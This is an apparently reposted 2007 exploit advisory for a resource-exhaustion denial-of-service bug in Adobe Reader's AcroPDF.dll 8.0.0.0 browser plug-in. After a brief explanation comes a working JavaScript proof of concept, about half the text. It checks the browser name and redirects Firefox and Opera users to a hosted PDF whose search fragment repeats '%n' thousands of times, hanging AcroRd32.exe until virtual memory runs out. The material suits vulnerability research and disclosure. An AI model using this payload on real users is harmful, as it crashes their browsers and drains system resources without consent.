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Adobe Reader plug-in AcroPDF.dll 8.0.0.0 Resource Consumption
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来源：http://www.shinnai.altervista.org 作者：shinnai 发布时间：2007-03-09
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<!--------------------------------------------------------------------------------
Adobe PDF Reader plug-in AcroPDF.dll ver. 8.0.0.0 Resource Consumption
author: shinnai
mail: shinnai[at]autistici[dot]org
site: http://www.shinnai.altervista.org
Well, Adobe guys do a good job after the publication of a variety of
bug in AcroPDF.dll, one for all
From Secunia:
"Input passed to a hosted PDF file is not properly sanitised by the
browser plug-in before being returned to users. This can be exploited
to execute arbitrary script code in a user's browser session in context
of an affected site."
So now the dll is able to understand when you're trying to insert something
wrong prompting you with "One or more of the query terms are too long."
and that's a good thing but... I thought "can this dll sanitise chars like
%n"
Well the answer is: no.
Unfortunately (sure depends by the point of view) Internet Explorer is
not useful for a test 'cause a limited number of chars (only 2083) is
admitted
in the address bar, so we need to use browser like Firefox and stuff like
that.
When you browse to a hosted pdf file like this
http://somesite/poc.pdf#search=%n%n%n... x 10000 (or much more if you like)
the browse will stop to answer until the process AcroRd32.exe crashes,
the CPU usage is about 50-60% and the paging file usage grow until
it's full and you have the message "Insufficient virtual memory..."
Here's a proof of concept, for online demonstration see:
http://www.shinnai.altervista.org/adobe.html
txt version here: http://www.shinnai.altervista.org/txt/adobe.txt
-------------------------------------------------------------------------------->
<script language="javascript">
var browserName=navigator.appName;
if (browserName=="Netscape")
{var f = ""
var c = ""
for (var i = 0; i <= 10000; i++) {
var f = f + "%n";
}
document.location = "http://www.shinnai.altervista.org/pucca.pdf#search=" +
(f)
}
else if (browserName=='Opera')
{var f = ""
var c = ""
for (var i = 0; i <= 10000; i++) {
var f = f + "%n";
}
document.location = "http://www.shinnai.altervista.org/pucca.pdf#search=" +
(f)
}
else if (browserName=='Microsoft Internet Explorer')
{
alert("This exploit doesn't work with IE. You need to use Firefox and stuff
like that.");
document.location="http://www.shinnai.altervista.org";
}
else
{
alert("Mmm... I don't know what are you browsing with here, so no martini no
party.");
}
</script>
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